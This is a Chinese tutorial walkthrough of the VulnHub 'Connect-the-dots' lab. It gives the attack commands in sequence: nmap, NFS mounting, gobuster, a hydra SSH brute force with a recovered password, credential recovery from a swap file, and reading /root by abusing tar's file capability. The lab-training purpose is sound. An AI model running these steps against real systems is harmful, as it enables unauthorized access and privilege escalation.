
靶机系列测试教程 Connect-the-dots

1 交流平台

随着教程的推出，看视频的人也越来越多，随之而来的问题也增多，本人平时非常忙，难以有

时间回复大家的问题，特意建立了一个 QQ群，里面有很多这方面的高手，有什么不懂的，请到群

里提问，咨询问题的时候，一定要详细，不然没人会回复你，另外本人有时间会在群内直播测试靶

机，还没加上群的赶快加上了。

交流 QQ群 微信号

博客 www.moonsec.com

2 介绍

2.1靶机介绍

描述 说明

Difficulty Beginner-Intermediate
Flag 2 Flag first user And second root
Description The machine is VirtualBox compatible but can be used in VMWare as well (not

tested but it should work). The DHCP will assign an IP automatically. You have to

下载地址

https://www.vulnhub.com/entry/connect-the-dots-1,384/

难度 容易到中等



3 靶机测试

3.1信息收集

3.1.1 nmap扫描探测端口信息

nmap -p- -A 192.168.0.180 -oA dots-ports

21 ftp
80 web服务

7822 ssh
nfs 共享

3.2 nfs检测



3.2.1 获取 nfs服务器的目录列列表

showmount -e 192.168.0.180

得到用户名 morris

3.2.2 挂载共享目录

mount -t nfs 192.168.0.180:/home/morris dots

挂载成功 但是不能访问.ssh目录

3.3访问 80端口





3.4目录扫描

gobuster dir -u http://192.168.0.180 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100

3.5发现 jsfuck编码

http://192.168.0.180/mysite/

目录可访问 发现 bootstrap.min.cs文件 有 jsfuck编码



3.6处理字符串

访问这个注册页面的时候发现会 js会调用 bootstrap.min.cs内的内容

http://192.168.0.180/mysite/register.html

console.log(b1+b2+b3+b4+b5+b6+b7+b8+b9+b10)



3.7 jsfuck编码

http://codertab.com/JsUnFuck

You're smart enough to understand me. Here's your secret, TryToGuessThisNorris@2k19

TryToGuessThisNorris@2k19 这个可能是是一个密码

3.8 hydra穷举 ssh

用户名

morris
norris
hydra -L user -p TryToGuessThisNorris@2k19 ssh://192.168.0.180 -s 7822



login: norris password: TryToGuessThisNorris@2k19

3.9登录 ssh

ssh norris@192.168.0.180 -p 7822

3.10 得到 flag user.txt

3.11 查找敏感信息



在 ftp目录下发现四个文件

3.12 发现摩斯密码

norris 登录 ftp



exiftool game.jpg.bak



3.13 解密摩斯密码

https://gchq.github.io/CyberChef/

HEY NORRIS, YOU'VE MADE THIS FAR. FAR FAR FROM HEAVEN WANNA SEE HELL NOW?
HAHA YOU SURELY MISSED ME, DIDN'T YOU? OH DAMN MY BATTERY IS ABOUT TO DIE
AND I AM UNABLE TO FIND MY CHARGER SO QUICKLY LEAVING A HINT IN HERE BEFORE
THIS SYSTEM SHUTS DOWN AUTOMATICALLY. I AM SAVING THE GATEWAY TO MY
DUNGEON IN A 'SECRETFILE' WHICH IS PUBLICLYACCESSIBLE.



3.14 获取用户morris密码

读取 www目录下的 secretfile

swp是编辑器突然断电或者 ctrl+z 产生的文件

wget http://192.168.0.180/.secretfile.swp

strings .secretfile.swp

morris blehguessme090

3.15 登录 ssh

ssh morris@192.168.0.180 -p 7822



3.16 拿到 root.txt

这个靶机的提权是比较难的。

/sbin/getcap -r / 2>/dev/null

/usr/bin/tar = cap_dac_read_search+ep

可以 绕过文件的读权限检查和目录的读和执行权限检查。

tar 打包/root
tar -zcvf root.tar.gz /root



解压文件

tar -zxvf root.tar.gz

4 总结

 nfs检测

 jsfuck编码解密

 摩斯密文解密

 hydra测试 ssh安全

 getcap文件分析

 tar打包文件
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